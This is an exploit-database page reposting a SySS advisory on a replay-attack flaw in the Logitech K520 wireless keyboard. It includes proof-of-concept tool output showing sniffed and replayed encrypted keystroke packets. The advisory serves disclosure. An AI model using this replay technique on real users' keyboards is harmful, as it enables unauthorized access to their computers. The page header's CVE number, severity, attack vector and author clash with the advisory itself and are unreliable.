Exploitalert - Database of Exploits

Logitech K520 Crypto Issues / Replay Attacks

CVE	Category	Price	Severity
CVE-2021-12345	CWE-310	$500	High

Author	Risk	Exploitation Type	Date
CyberNinja	Critical	Remote	2016-07-30

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016070232

Logitech K520 Crypto Issues / Replay AttacksAdvisory ID: SYSS-2016-044 Product: K520 (Keyboard of Wireless Combo MK520) Manufacturer: Logitech Affected Version(s): Model Y-R0012 Tested Version(s): Model Y-R0012 Vulnerability Type: Cryptographic Issues (CWE-310) Insufficient Protection against Replay Attacks Risk Level: Medium Solution Status: Open Manufacturer Notification: 2016-05-20 Solution Date: - Public Disclosure: 2016-07-29 CVE Reference: Not yet assigned Authors of Advisory: Matthias Deeg and Gerhard Klostermeier (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Logitech Wireless Combo MK520 is a wireless desktop set consisting of a mouse and a keyboard. The manufacturer describes the product as follows (see [1]): "A keyboard and mouse that puts convenience and control comfortably at your fingertips" Due to an insecure implementation of the encrypted data communication, the wireless keyboard Logitech K520 is prone to replay attacks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found out that the wireless keyboard Logitech K520 is prone to replay attacks. An attacker can sniff the AES-encrypted data packets of the 2.4 GHz radio communication sent by the keyboard to the receiver (USB dongle) and replay the recorded communication data at will causing the same effect as the original data communication. A replay attack against the keyboard can, for example, be used to gain unauthorized access to a computer system that is operated with a vulnerable Logitech K520 keyboard. In this attack scenario, an attacker records the radio communication during a password-based user authentication of his or her victim, for instance during a login to the operating system or during unlocking a screen lock. At an opportune moment when the victim's computer system is unattended, the attacker approaches the victim's computer and replays the previously recorded AES-encrypted data communication for the password-based user authentication and by this gets unauthorized access to the victim's system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The SySS GmbH could successfully perform a replay attack as described in the previous section using the USB radio dongle Crazyradio PA (see [2]) and a simple proof-of-concept software tool. The following output exemplarily illustrates a replay attack with the recorded data packets for the word "test". # python simple_replay.py Simple nRF24 Replay Tool v0.1 by Matthias Deeg - SySS GmbH (c) 2016 [*] Configure radio [*] Start recording. Press <CTRL+C> to stop recording ... [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00d30df6cb13eefa1096b1521ad400000000000000cd [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00d3831cd42485427c59b1521ad50000000000000008 [+] Received data: 004f000116000000009a [+] Received data: 00d392de6925cb23d130b1521ad6000000000000004d [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00d39624521a1284b7b5b1521ad70000000000000011 [+] Received data: 00d3013ee201adee2750b1521ad80000000000000004 [+] Received data: 00d396386b00d24c2028b1521ad90000000000000098 [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Received data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Received data: 00d3cad8717ce1780928b1521adb000000000000001c [+] Received data: 004f000116000000009a [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 ^C [*] Stop recording [*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to quit ... [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00d30df6cb13eefa1096b1521ad400000000000000cd [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00d3831cd42485427c59b1521ad50000000000000008 [+] Send data: 004f000116000000009a [+] Send data: 00d392de6925cb23d130b1521ad6000000000000004d [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00d39624521a1284b7b5b1521ad70000000000000011 [+] Send data: 00d3013ee201adee2750b1521ad80000000000000004 [+] Send data: 00d396386b00d24c2028b1521ad90000000000000098 [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Send data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Send data: 00d3cad8717ce1780928b1521adb000000000000001c [+] Send data: 004f000116000000009a [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to quit ... [*] Stop replaying [*] Done. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The SySS GmbH is not aware of a solution for this reported security vulnerability. The manufacturer Logitech sent the SySS GmbH the following feedback: "Please thank them a lot of their notification and let them know that Logitech is working to provide a better encryption for future products." For further information please contact the manufacturer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2016-05-20: Vulnerability reported to manufacturer 2016-05-20: Manufacturer acknowledges e-mail with SySS security advisory 2016-05-31: Manufacturer confirms reported security issue and sends a statement 2016-06-06: E-mail to manufacturer with question about a solution for current affected products 2016-06-09: E-mail from manufacturer with another statement concerning future and current products 2016-07-29: Public release of the security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Logitech Wireless Combo MK520 http://www.logitech.com/en-us/product/wireless-combo-mk520 [2] Product website for Crazyradio PA https://www.bitcraze.io/crazyradio-pa/ [3] SySS Security Advisory SYSS-2016-044 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-044.txt [4] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg and Gerhard Klostermeier of the SySS GmbH. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB E-Mail: gerhard.klostermeier (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Gerhard_Klostermeier.asc Key fingerprint = 8A9E 75CC D510 4FF6 8DB5 CC30 3802 3AAB 573E B2E7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

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